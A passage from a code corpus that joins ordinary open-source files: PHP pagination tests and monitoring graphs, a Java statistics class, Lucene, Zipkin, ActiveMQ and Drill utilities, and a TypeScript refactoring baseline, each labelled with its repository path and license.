$this->assertTrue($result);
$result = $this->Paginator->hasPage(2);
$this->assertTrue($result);
}
/**
* testWithPlugin method
*
* @access public
* @return void
*/
function testWithPlugin() {
Router::reload();
Router::setRequestInfo(array(
array(
'pass' => array(), 'named' => array(), 'prefix' => null, 'form' => array(),
'controller' => 'magazines', 'plugin' => 'my_plugin', 'action' => 'index',
'url' => array('ext' => 'html', 'url' => 'my_plugin/magazines')),
array('base' => '', 'here' => '/my_plugin/magazines', 'webroot' => '/')
));
$result = $this->Paginator->link('Page 3', array('page' => 3));
$expected = array(
'a' => array('href' => '/my_plugin/magazines/index/page:3'), 'Page 3', '/a'
);
$this->assertTags($result, $expected);
$this->Paginator->options(array('url' => array('action' => 'another_index')));
$result = $this->Paginator->link('Page 3', array('page' => 3));
$expected = array(
'a' => array('href' => '/my_plugin/magazines/another_index/page:3'), 'Page 3', '/a'
);
$this->assertTags($result, $expected);
$this->Paginator->options(array('url' => array('controller' => 'issues')));
$result = $this->Paginator->link('Page 3', array('page' => 3));
$expected = array(
'a' => array('href' => '/my_plugin/issues/index/page:3'), 'Page 3', '/a'
);
$this->assertTags($result, $expected);
$this->Paginator->options(array('url' => array('plugin' => null)));
$result = $this->Paginator->link('Page 3', array('page' => 3));
$expected = array(
'a' => array('/magazines/index/page:3'), 'Page 3', '/a'
);
$this->Paginator->options(array('url' => array('plugin' => null, 'controller' => 'issues')));
$result = $this->Paginator->link('Page 3', array('page' => 3));
$expected = array(
'a' => array('href' => '/issues/index/page:3'), 'Page 3', '/a'
);
$this->assertTags($result, $expected);
}
/**
* testNextLinkUsingDotNotation method
*
* @access public
* @return void
*/
function testNextLinkUsingDotNotation() {
Router::reload();
Router::parse('/');
Router::setRequestInfo(array(
array('plugin' => null, 'controller' => 'accounts', 'action' => 'index', 'pass' => array(), 'form' => array(), 'url' => array('url' => 'accounts/', 'mod_rewrite' => 'true'), 'bare' => 0),
array('plugin' => null, 'controller' => null, 'action' => null, 'base' => '/officespace', 'here' => '/officespace/accounts/', 'webroot' => '/officespace/', 'passedArgs' => array())
));
$this->Paginator->params['paging']['Article']['options']['order'] = array('Article.title' => 'asc');
$this->Paginator->params['paging']['Article']['page'] = 1;
$test = array('url'=> array(
'page'=> '1',
'sort'=>'Article.title',
'direction'=>'asc',
));
$this->Paginator->options($test);
$result = $this->Paginator->next('Next');
$expected = array(
'<span',
'a' => array('href' => '/officespace/accounts/index/page:2/sort:Article.title/direction:asc', 'class' => 'next'),
'Next',
'/a',
'/span',
);
$this->assertTags($result, $expected);
}
/**
* test that mock classes injected into paginatorHelper are called when using link()
*
* @return void
*/
function testMockAjaxProviderClassInjection() {
$Paginator =& new PaginatorHelper(array('ajax' => 'PaginatorMockJs'));
$Paginator->params['paging'] = array(
'Article' => array(
'current' => 9,
'count' => 62,
'prevPage' => false,
'nextPage' => true,
'pageCount' => 7,
'defaults' => array(),
'options' => array()
)
);
$Paginator->PaginatorMockJs =& new PaginatorMockJsHelper();
$Paginator->PaginatorMockJs->expectOnce('link');
$result = $Paginator->link('Page 2', array('page' => 2), array('update' => '#content'));
$this->expectError();
$Paginator =& new PaginatorHelper(array('ajax' => 'Form'));
}
}
| gpl-2.0 |
infotek/librenms | html/includes/graphs/application/nfs-v3-stats_stats.inc.php | 2728 | <?php
require 'includes/graphs/common.inc.php';
$scale_min = 0;
$colours = 'mixed';
$unit_text = 'Operations';
$unitlen = 10;
$bigdescrlen = 15;
$smalldescrlen = 15;
$dostack = 0;
$printtotal = 0;
$addarea = 1;
$transparency = 33;
$rrd_filename = get_rrd_dir($device['hostname']).'/app-nfs-stats-'.$app['app_id'].'.rrd';
$array = array(
'proc3_null' => array('descr' => 'Null','colour' => '630606',),
'proc3_getattr' => array('descr' => 'Get attributes','colour' => '50C150',),
'proc3_setattr' => array('descr' => 'Set attributes','colour' => '4D65A2',),
'proc3_lookup' => array('descr' => 'Lookup','colour' => '8B64A1',),
'proc3_access' => array('descr' => 'Access','colour' => 'AAAA39',),
'proc3_read' => array('descr' => 'Read','colour' => '308A30',),
'proc3_write' => array('descr' => 'Write','colour' => '457A9A',),
'proc3_create' => array('descr' => 'Create','colour' => '690D87',),
'proc3_mkdir' => array('descr' => 'Make dir','colour' => '3A3478',),
'proc3_mknod' => array('descr' => 'Make nod','colour' => '512E74',),
'proc3_link' => array('descr' => 'Link','colour' => '072A3F',),
'proc3_remove' => array('descr' => 'Remove','colour' => 'F16464',),
'proc3_rmdir' => array('descr' => 'Remove dir','colour' => '57162D',),
'proc3_rename' => array('descr' => 'Rename','colour' => 'A40B62',),
'proc3_readlink' => array('descr' => 'Read link','colour' => '557917',),
'proc3_readdir' => array('descr' => 'Read dir','colour' => 'A3C666',),
'proc3_symlink' => array('descr' => 'Symlink','colour' => '85C490',),
'proc3_readdirplus' => array('descr' => 'Read dir plus','colour' => 'F1F164',),
'proc3_fsstat' => array('descr' => 'FS stat','colour' => 'F1F191',),
'proc3_fsinfo' => array('descr' => 'FS info','colour' => '6E2770',),
'proc3_pathconf' => array('descr' => 'Pathconf','colour' => '993555',),
'proc3_commit' => array('descr' => 'Commit','colour' => '463176',),
);
$i = 0;
if (rrdtool_check_rrd_exists($rrd_filename)) {
foreach ($array as $ds => $var) {
$rrd_list[$i]['filename'] = $rrd_filename;
$rrd_list[$i]['descr'] = $var['descr'];
$rrd_list[$i]['ds'] = $ds;
$rrd_list[$i]['colour'] = $var['colour'];
$i++;
}
} else {
echo "file missing: $rrd_filename";
}
require 'includes/graphs/generic_v3_multiline.inc.php';
| gpl-3.0 |
Grasia/bolotweet | lib/feedlist.php | 3693 | <?php
/**
* StatusNet, the distributed open-source microblogging tool
*
* Widget for showing a list of feeds
*
* PHP version 5
*
* LICENCE: This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* @category Widget
* @package StatusNet
* @author Evan Prodromou <evan@status.net>
* @author Sarven Capadisli <csarven@status.net>
* @copyright 2008 StatusNet, Inc.
* @license http://www.fsf.org/licensing/licenses/agpl-3.0.html GNU Affero General Public License version 3.0
* @link http://status.net/
*/
if (!defined('STATUSNET') && !defined('LACONICA')) {
exit(1);
}
/**
* Widget for showing a list of feeds
*
* Typically used for Action::showExportList()
*
* @category Widget
* @package StatusNet
* @author Evan Prodromou <evan@status.net>
* @author Sarven Capadisli <csarven@status.net>
* @license http://www.fsf.org/licensing/licenses/agpl-3.0.html GNU Affero General Public License version 3.0
* @link http://status.net/
*
* @see Action::showExportList()
*/
class FeedList extends Widget
{
var $action = null;
function __construct($action=null)
{
parent::__construct($action);
$this->action = $action;
}
function show($feeds)
{
if (Event::handle('StartShowFeedLinkList', array($this->action, &$feeds))) {
if (!empty($feeds)) {
$this->out->elementStart('div', array('id' => 'export_data',
'class' => 'section'));
// TRANS: Header for feed links (h2).
$this->out->element('h2', null, _('Feeds'));
$this->out->elementStart('ul', array('class' => 'xoxo'));
foreach ($feeds as $feed) {
$this->feedItem($feed);
}
$this->out->elementEnd('ul');
$this->out->elementEnd('div');
}
Event::handle('EndShowFeedLinkList', array($this->action, &$feeds));
}
}
function feedItem($feed)
{
if (Event::handle('StartShowFeedLink', array($this->action, &$feed))) {
$classname = null;
switch ($feed->type) {
case Feed::RSS1:
case Feed::RSS2:
$classname = 'rss';
break;
case Feed::ATOM:
$classname = 'atom';
break;
case Feed::FOAF:
$classname = 'foaf';
break;
case Feed::JSON:
$classname = 'json';
break;
}
$this->out->elementStart('li');
$this->out->element('a', array('href' => $feed->url,
'class' => $classname,
'type' => $feed->mimeType(),
'title' => $feed->title),
$feed->typeName());
$this->out->elementEnd('li');
Event::handle('EndShowFeedLink', array($this->action, $feed));
}
}
}
| agpl-3.0 |
MesquiteProject/MesquiteArchive | releases/Mesquite1.12/Mesquite Project/LibrarySource/JSci/maths/statistics/FDistribution.java | 2975 | package JSci.maths.statistics;
import JSci.maths.SpecialMath;
/**
* The FDistribution class provides an object for encapsulating F-distributions.
* @version 1.0
* @author Jaco van Kooten
*/
public final class FDistribution extends ProbabilityDistribution {
private double p,q;
/**
* Constructs an F-distribution.
* @param dgrP degrees of freedom p.
* @param dgrQ degrees of freedom q.
*/
public FDistribution(double dgrP, double dgrQ) {
if(dgrP<=0.0 || dgrQ<=0.0)
throw new OutOfRangeException("The degrees of freedom must be greater than zero.");
p=dgrP;
q=dgrQ;
}
/**
* Returns the degrees of freedom p.
*/
public double getDegreesOfFreedomP() {
return p;
}
/**
* Returns the degrees of freedom q.
*/
public double getDegreesOfFreedomQ() {
return q;
}
/**
* Probability density function of an F-distribution.
* @return the probability that a stochastic variable x has the value X, i.e. P(x=X).
*/
public double probability(double X) {
// We make use of the fact that when x has an F-distibution then
// y = q/(q+p*x) has a beta distribution with parameters p/2 and q/2.
checkRange(X,0.0,Double.MAX_VALUE);
double y=q/(q+(p*X));
BetaDistribution beta=new BetaDistribution(p/2.0,q/2.0);
return beta.probability(y)*y*y*p/q;
}
/**
* Cumulative F-distribution function.
* @return the probability that a stochastic variable x is less then X, i.e. P(x<X).
*/
public double cumulative(double X) {
// We make use of the fact that when x has an F-distibution then
// y = q/(q+p*x) has a beta distribution with parameters p/2 and q/2.
checkRange(X,0.0,Double.MAX_VALUE);
return SpecialMath.incompleteBeta(1.0/(1.0+q/(p*X)),p/2.0,q/2.0);
}
/**
* Inverse of the cumulative F-distribution function.
* @return the value X for which P(x<X).
*/
public double inverse(double probability) {
// We make use of the fact that when x has an F-distibution then
// y = q/(q+p*x) has a beta distribution with parameters p/2 and q/2.
checkRange(probability);
if(probability==0.0)
return 0.0;
if(probability==1.0)
return Double.MAX_VALUE;
BetaDistribution beta=new BetaDistribution(p/2.0,q/2.0);
double y=beta.inverse(1.0-probability);
if(y<2.23e-308) //avoid overflow
return Double.MAX_VALUE;
else
return (p/q)*(1.0/y-1.0);
}
}
| lgpl-3.0 |
q474818917/solr-5.2.0 | lucene/analysis/stempel/src/java/org/apache/lucene/analysis/stempel/StempelPolishStemFilterFactory.java | 1707 | package org.apache.lucene.analysis.stempel;
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import java.util.Map;
import org.apache.lucene.analysis.TokenStream;
import org.apache.lucene.analysis.pl.PolishAnalyzer;
import org.apache.lucene.analysis.stempel.StempelFilter;
import org.apache.lucene.analysis.stempel.StempelStemmer;
import org.apache.lucene.analysis.util.TokenFilterFactory;
/**
* Factory for {@link StempelFilter} using a Polish stemming table.
*/
public class StempelPolishStemFilterFactory extends TokenFilterFactory {
/** Creates a new StempelPolishStemFilterFactory */
public StempelPolishStemFilterFactory(Map<String,String> args) {
super(args);
if (!args.isEmpty()) {
throw new IllegalArgumentException("Unknown parameters: " + args);
}
}
@Override
public TokenStream create(TokenStream input) {
return new StempelFilter(input, new StempelStemmer(PolishAnalyzer.getDefaultTable()));
}
}
| apache-2.0 |
yshaojie/zipkin | zipkin-collector-service/src/test/scala/com/twitter/zipkin/config/ConfigSpec.scala | 1434 | /*
* Copyright 2012 Twitter Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.twitter.zipkin.config
import com.google.common.base.Charsets.UTF_8
import com.google.common.io.Resources
import com.twitter.ostrich.admin.RuntimeEnvironment
import com.twitter.util.Eval
import com.twitter.zipkin.builder.Builder
import com.twitter.zipkin.collector.ZipkinCollector
import org.scalatest.{FunSuite, Matchers}
class ConfigSpec extends FunSuite with Matchers {
val eval = new Eval
test("validate collector configs") {
val configSource = Seq(
"/collector-dev.scala",
"/collector-cassandra.scala",
"/collector-redis.scala"
) map { r =>
Resources.toString(getClass.getResource(r), UTF_8)
}
for (source <- configSource) {
val config = eval[Builder[RuntimeEnvironment => ZipkinCollector]](source)
config should not be(Nil)
config.apply()
}
}
}
| apache-2.0 |
Microsoft/TypeScript | tests/baselines/reference/convertToAsyncFunction/convertToAsyncFunction_simpleFunctionExpression.ts | 318 | // ==ORIGINAL==
const /*[#|*/foo/*|]*/ = function () {
return fetch('https://typescriptlang.org').then(result => { console.log(result) });
}
// ==ASYNC FUNCTION::Convert to async function==
const foo = async function () {
const result = await fetch('https://typescriptlang.org');
console.log(result);
}
| apache-2.0 |
hemikak/carbon-business-messaging | components/andes/org.wso2.carbon.andes/src/main/java/org/wso2/carbon/andes/service/exception/ConfigurationException.java | 1223 | /*
* Copyright (c) 2005-2014, WSO2 Inc. (http://www.wso2.org) All Rights Reserved.
*
* WSO2 Inc. licenses this file to you under the Apache License,
* Version 2.0 (the "License"); you may not use this file except
* in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.wso2.carbon.andes.service.exception;
/**
* Configuration exception will be thrown when there is an error in configuration files
*/
public class ConfigurationException extends Exception{
public ConfigurationException() {
}
public ConfigurationException(String message) {
super(message);
}
public ConfigurationException(String message, Throwable cause) {
super(message, cause);
}
public ConfigurationException(Throwable cause) {
super(cause);
}
}
| apache-2.0 |
jbertram/activemq-artemis | artemis-ra/src/main/java/org/apache/activemq/artemis/ra/ActiveMQRaUtils.java | 8712 | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.activemq.artemis.ra;
import javax.naming.Context;
import java.lang.reflect.Method;
import java.security.AccessController;
import java.security.PrivilegedAction;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.List;
import java.util.Map;
import java.util.UUID;
import org.jgroups.JChannel;
/**
* Various utility functions
*/
public final class ActiveMQRaUtils {
/**
* Private constructor
*/
private ActiveMQRaUtils() {
}
/**
* Compare two strings.
*
* @param me First value
* @param you Second value
* @return True if object equals else false.
*/
@SuppressWarnings("StringEquality")
public static boolean compare(final String me, final String you) {
// If both null or intern equals
if (me == you) {
return true;
}
// if me null and you are not
if (me == null) {
return false;
}
// me will not be null, test for equality
return me.equals(you);
}
/**
* Compare two integers.
*
* @param me First value
* @param you Second value
* @return True if object equals else false.
*/
public static boolean compare(final Integer me, final Integer you) {
// If both null or intern equals
if (me == you) {
return true;
}
// if me null and you are not
if (me == null) {
return false;
}
// me will not be null, test for equality
return me.equals(you);
}
/**
* Compare two longs.
*
* @param me First value
* @param you Second value
* @return True if object equals else false.
*/
public static boolean compare(final Long me, final Long you) {
// If both null or intern equals
if (me == you) {
return true;
}
// if me null and you are not
if (me == null) {
return false;
}
// me will not be null, test for equality
return me.equals(you);
}
/**
* Compare two doubles.
*
* @param me First value
* @param you Second value
* @return True if object equals else false.
*/
public static boolean compare(final Double me, final Double you) {
// If both null or intern equals
if (me == you) {
return true;
}
// if me null and you are not
if (me == null) {
return false;
}
// me will not be null, test for equality
return me.equals(you);
}
/**
* Compare two booleans.
*
* @param me First value
* @param you Second value
* @return True if object equals else false.
*/
public static boolean compare(final Boolean me, final Boolean you) {
// If both null or intern equals
if (me == you) {
return true;
}
// if me null and you are not
if (me == null) {
return false;
}
// me will not be null, test for equality
return me.equals(you);
}
/**
* Lookup an object in the default initial context
*
* @param context The context to use
* @param name the name to lookup
* @param clazz the expected type
* @return the object
* @throws Exception for any error
*/
public static Object lookup(final Context context, final String name, final Class<?> clazz) throws Exception {
return context.lookup(name);
}
/**
* Used on parsing JNDI Configuration
*
* @param config
* @return hash-table with configuration option pairs
*/
public static Hashtable<String, String> parseHashtableConfig(final String config) {
Hashtable<String, String> hashtable = new Hashtable<>();
String[] topElements = config.split(";");
for (String element : topElements) {
String[] expression = element.split("=");
if (expression.length != 2) {
throw new IllegalArgumentException("Invalid expression " + element + " at " + config);
}
hashtable.put(expression[0].trim(), expression[1].trim());
}
return hashtable;
}
public static List<Map<String, Object>> parseConfig(final String config) {
List<Map<String, Object>> result = new ArrayList<>();
/**
* Some configuration values can contain commas (e.g. enabledProtocols, enabledCipherSuites, etc.).
* To support config values with commas, the commas in the values must be escaped (e.g. "\\,") so that
* the commas used to separate configs for different connectors can still function as designed.
*/
String commaPlaceHolder = UUID.randomUUID().toString();
String replaced = config.replace("\\,", commaPlaceHolder);
String[] topElements = replaced.split(",");
for (String topElement : topElements) {
HashMap<String, Object> map = new HashMap<>();
result.add(map);
String[] elements = topElement.split(";");
for (String element : elements) {
String[] expression = element.split("=");
if (expression.length != 2) {
throw new IllegalArgumentException("Invalid expression " + element + " at " + config);
}
// put the commas back
map.put(expression[0].trim(), expression[1].trim().replace(commaPlaceHolder, ","));
}
}
return result;
}
public static List<String> parseConnectorConnectorConfig(String config) {
List<String> res = new ArrayList<>();
String[] elements = config.split(",");
for (String element : elements) {
res.add(element.trim());
}
return res;
}
/**
* Within AS7 the RA is loaded by JCA. properties can only be passed in String form. However if
* RA is configured using jgroups stack, we need to pass a Channel object. As is impossible with
* JCA, we use this method to allow a JChannel object to be located.
*/
public static JChannel locateJGroupsChannel(final String locatorClass, final String name) {
return AccessController.doPrivileged(new PrivilegedAction<JChannel>() {
@Override
public JChannel run() {
try {
ClassLoader loader = Thread.currentThread().getContextClassLoader();
Class<?> aClass = loader.loadClass(locatorClass);
Object o = aClass.newInstance();
Method m = aClass.getMethod("locateChannel", new Class[]{String.class});
return (JChannel) m.invoke(o, name);
} catch (Throwable e) {
ActiveMQRALogger.LOGGER.debug(e.getMessage(), e);
return null;
}
}
});
}
/**
* This seems duplicate code all over the place, but for security reasons we can't let something like this to be open in a
* utility class, as it would be a door to load anything you like in a safe VM.
* For that reason any class trying to do a privileged block should do with the AccessController directly.
*/
private static Object safeInitNewInstance(final String className) {
return AccessController.doPrivileged(new PrivilegedAction<Object>() {
@Override
public Object run() {
ClassLoader loader = getClass().getClassLoader();
try {
Class<?> clazz = loader.loadClass(className);
return clazz.newInstance();
} catch (Throwable t) {
try {
loader = Thread.currentThread().getContextClassLoader();
if (loader != null)
return loader.loadClass(className).newInstance();
} catch (RuntimeException e) {
throw e;
} catch (Exception e) {
}
throw new IllegalArgumentException("Could not find class " + className);
}
}
});
}
}
| apache-2.0 |
jackyxhb/drill | contrib/storage-hive/core/src/main/java/org/apache/drill/exec/store/hive/HiveUtilities.java | 15377 | /**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.drill.exec.store.hive;
import com.google.common.base.Preconditions;
import com.google.common.base.Strings;
import io.netty.buffer.DrillBuf;
import org.apache.drill.common.exceptions.DrillRuntimeException;
import org.apache.drill.common.exceptions.UserException;
import org.apache.drill.common.types.TypeProtos;
import org.apache.drill.common.types.TypeProtos.DataMode;
import org.apache.drill.common.types.TypeProtos.MajorType;
import org.apache.drill.common.types.TypeProtos.MinorType;
import org.apache.drill.exec.expr.holders.Decimal18Holder;
import org.apache.drill.exec.expr.holders.Decimal28SparseHolder;
import org.apache.drill.exec.expr.holders.Decimal38SparseHolder;
import org.apache.drill.exec.expr.holders.Decimal9Holder;
import org.apache.drill.exec.planner.physical.PlannerSettings;
import org.apache.drill.exec.server.options.OptionManager;
import org.apache.drill.exec.util.DecimalUtility;
import org.apache.drill.exec.vector.NullableBigIntVector;
import org.apache.drill.exec.vector.NullableBitVector;
import org.apache.drill.exec.vector.NullableDateVector;
import org.apache.drill.exec.vector.NullableDecimal18Vector;
import org.apache.drill.exec.vector.NullableDecimal28SparseVector;
import org.apache.drill.exec.vector.NullableDecimal38SparseVector;
import org.apache.drill.exec.vector.NullableDecimal9Vector;
import org.apache.drill.exec.vector.NullableFloat4Vector;
import org.apache.drill.exec.vector.NullableFloat8Vector;
import org.apache.drill.exec.vector.NullableIntVector;
import org.apache.drill.exec.vector.NullableTimeStampVector;
import org.apache.drill.exec.vector.NullableVarBinaryVector;
import org.apache.drill.exec.vector.NullableVarCharVector;
import org.apache.drill.exec.vector.ValueVector;
import org.apache.drill.exec.work.ExecErrorConstants;
import org.apache.hadoop.hive.common.type.HiveDecimal;
import org.apache.hadoop.hive.conf.HiveConf;
import org.apache.hadoop.hive.conf.HiveConf.ConfVars;
import org.apache.hadoop.hive.serde2.objectinspector.ObjectInspector.Category;
import org.apache.hadoop.hive.serde2.objectinspector.PrimitiveObjectInspector.PrimitiveCategory;
import org.apache.hadoop.hive.serde2.typeinfo.DecimalTypeInfo;
import org.apache.hadoop.hive.serde2.typeinfo.HiveDecimalUtils;
import org.apache.hadoop.hive.serde2.typeinfo.PrimitiveTypeInfo;
import org.apache.hadoop.hive.serde2.typeinfo.TypeInfo;
import org.joda.time.DateTime;
import org.joda.time.DateTimeZone;
import java.math.BigDecimal;
import java.sql.Date;
import java.sql.Timestamp;
import java.util.Map;
public class HiveUtilities {
static final org.slf4j.Logger logger = org.slf4j.LoggerFactory.getLogger(HiveUtilities.class);
/** Partition value is received in string format. Convert it into appropriate object based on the type. */
public static Object convertPartitionType(TypeInfo typeInfo, String value, final String defaultPartitionValue) {
if (typeInfo.getCategory() != Category.PRIMITIVE) {
// In Hive only primitive types are allowed as partition column types.
throw new DrillRuntimeException("Non-Primitive types are not allowed as partition column type in Hive, " +
"but received one: " + typeInfo.getCategory());
}
if (defaultPartitionValue.equals(value)) {
return null;
}
final PrimitiveCategory pCat = ((PrimitiveTypeInfo) typeInfo).getPrimitiveCategory();
try {
switch (pCat) {
case BINARY:
return value.getBytes();
case BOOLEAN:
return Boolean.parseBoolean(value);
case DECIMAL: {
DecimalTypeInfo decimalTypeInfo = (DecimalTypeInfo) typeInfo;
return HiveDecimalUtils.enforcePrecisionScale(HiveDecimal.create(value),
decimalTypeInfo.precision(), decimalTypeInfo.scale());
}
case DOUBLE:
return Double.parseDouble(value);
case FLOAT:
return Float.parseFloat(value);
case BYTE:
case SHORT:
case INT:
return Integer.parseInt(value);
case LONG:
return Long.parseLong(value);
case STRING:
case VARCHAR:
return value.getBytes();
case TIMESTAMP:
return Timestamp.valueOf(value);
case DATE:
return Date.valueOf(value);
}
} catch(final Exception e) {
// In Hive, partition values that can't be converted from string are considered to be NULL.
logger.trace("Failed to interpret '{}' value from partition value string '{}'", pCat, value);
return null;
}
throwUnsupportedHiveDataTypeError(pCat.toString());
return null;
}
public static void populateVector(final ValueVector vector, final DrillBuf managedBuffer, final Object val,
final int start, final int end) {
TypeProtos.MinorType type = vector.getField().getType().getMinorType();
switch(type) {
case VARBINARY: {
NullableVarBinaryVector v = (NullableVarBinaryVector) vector;
byte[] value = (byte[]) val;
for (int i = start; i < end; i++) {
v.getMutator().setSafe(i, value, 0, value.length);
}
break;
}
case BIT: {
NullableBitVector v = (NullableBitVector) vector;
Boolean value = (Boolean) val;
for (int i = start; i < end; i++) {
v.getMutator().set(i, value ? 1 : 0);
}
break;
}
case FLOAT8: {
NullableFloat8Vector v = (NullableFloat8Vector) vector;
double value = (double) val;
for (int i = start; i < end; i++) {
v.getMutator().setSafe(i, value);
}
break;
}
case FLOAT4: {
NullableFloat4Vector v = (NullableFloat4Vector) vector;
float value = (float) val;
for (int i = start; i < end; i++) {
v.getMutator().setSafe(i, value);
}
break;
}
case TINYINT:
case SMALLINT:
case INT: {
NullableIntVector v = (NullableIntVector) vector;
int value = (int) val;
for (int i = start; i < end; i++) {
v.getMutator().setSafe(i, value);
}
break;
}
case BIGINT: {
NullableBigIntVector v = (NullableBigIntVector) vector;
long value = (long) val;
for (int i = start; i < end; i++) {
v.getMutator().setSafe(i, value);
}
break;
}
case VARCHAR: {
NullableVarCharVector v = (NullableVarCharVector) vector;
byte[] value = (byte[]) val;
for (int i = start; i < end; i++) {
v.getMutator().setSafe(i, value, 0, value.length);
}
break;
}
case TIMESTAMP: {
NullableTimeStampVector v = (NullableTimeStampVector) vector;
DateTime ts = new DateTime(((Timestamp) val).getTime()).withZoneRetainFields(DateTimeZone.UTC);
long value = ts.getMillis();
for (int i = start; i < end; i++) {
v.getMutator().setSafe(i, value);
}
break;
}
case DATE: {
NullableDateVector v = (NullableDateVector) vector;
DateTime date = new DateTime(((Date)val).getTime()).withZoneRetainFields(DateTimeZone.UTC);
long value = date.getMillis();
for (int i = start; i < end; i++) {
v.getMutator().setSafe(i, value);
}
break;
}
case DECIMAL9: {
final BigDecimal value = ((HiveDecimal)val).bigDecimalValue();
final NullableDecimal9Vector v = ((NullableDecimal9Vector) vector);
final Decimal9Holder holder = new Decimal9Holder();
holder.scale = v.getField().getScale();
holder.precision = v.getField().getPrecision();
holder.value = DecimalUtility.getDecimal9FromBigDecimal(value, holder.scale, holder.precision);
for (int i = start; i < end; i++) {
v.getMutator().setSafe(i, holder);
}
break;
}
case DECIMAL18: {
final BigDecimal value = ((HiveDecimal)val).bigDecimalValue();
final NullableDecimal18Vector v = ((NullableDecimal18Vector) vector);
final Decimal18Holder holder = new Decimal18Holder();
holder.scale = v.getField().getScale();
holder.precision = v.getField().getPrecision();
holder.value = DecimalUtility.getDecimal18FromBigDecimal(value, holder.scale, holder.precision);
for (int i = start; i < end; i++) {
v.getMutator().setSafe(i, holder);
}
break;
}
case DECIMAL28SPARSE: {
final int needSpace = Decimal28SparseHolder.nDecimalDigits * DecimalUtility.integerSize;
Preconditions.checkArgument(managedBuffer.capacity() > needSpace,
String.format("Not sufficient space in given managed buffer. Need %d bytes, buffer has %d bytes",
needSpace, managedBuffer.capacity()));
final BigDecimal value = ((HiveDecimal)val).bigDecimalValue();
final NullableDecimal28SparseVector v = ((NullableDecimal28SparseVector) vector);
final Decimal28SparseHolder holder = new Decimal28SparseHolder();
holder.scale = v.getField().getScale();
holder.precision = v.getField().getPrecision();
holder.buffer = managedBuffer;
holder.start = 0;
DecimalUtility.getSparseFromBigDecimal(value, holder.buffer, 0, holder.scale, holder.precision,
Decimal28SparseHolder.nDecimalDigits);
for (int i = start; i < end; i++) {
v.getMutator().setSafe(i, holder);
}
break;
}
case DECIMAL38SPARSE: {
final int needSpace = Decimal38SparseHolder.nDecimalDigits * DecimalUtility.integerSize;
Preconditions.checkArgument(managedBuffer.capacity() > needSpace,
String.format("Not sufficient space in given managed buffer. Need %d bytes, buffer has %d bytes",
needSpace, managedBuffer.capacity()));
final BigDecimal value = ((HiveDecimal)val).bigDecimalValue();
final NullableDecimal38SparseVector v = ((NullableDecimal38SparseVector) vector);
final Decimal38SparseHolder holder = new Decimal38SparseHolder();
holder.scale = v.getField().getScale();
holder.precision = v.getField().getPrecision();
holder.buffer = managedBuffer;
holder.start = 0;
DecimalUtility.getSparseFromBigDecimal(value, holder.buffer, 0, holder.scale, holder.precision,
Decimal38SparseHolder.nDecimalDigits);
for (int i = start; i < end; i++) {
v.getMutator().setSafe(i, holder);
}
break;
}
}
}
public static MajorType getMajorTypeFromHiveTypeInfo(final TypeInfo typeInfo, final OptionManager options) {
switch (typeInfo.getCategory()) {
case PRIMITIVE: {
PrimitiveTypeInfo primitiveTypeInfo = (PrimitiveTypeInfo) typeInfo;
MinorType minorType = HiveUtilities.getMinorTypeFromHivePrimitiveTypeInfo(primitiveTypeInfo, options);
MajorType.Builder typeBuilder = MajorType.newBuilder().setMinorType(minorType)
.setMode(DataMode.OPTIONAL); // Hive columns (both regular and partition) could have null values
if (primitiveTypeInfo.getPrimitiveCategory() == PrimitiveCategory.DECIMAL) {
DecimalTypeInfo decimalTypeInfo = (DecimalTypeInfo) primitiveTypeInfo;
typeBuilder.setPrecision(decimalTypeInfo.precision())
.setScale(decimalTypeInfo.scale()).build();
}
return typeBuilder.build();
}
case LIST:
case MAP:
case STRUCT:
case UNION:
default:
throwUnsupportedHiveDataTypeError(typeInfo.getCategory().toString());
}
return null;
}
public static TypeProtos.MinorType getMinorTypeFromHivePrimitiveTypeInfo(PrimitiveTypeInfo primitiveTypeInfo,
OptionManager options) {
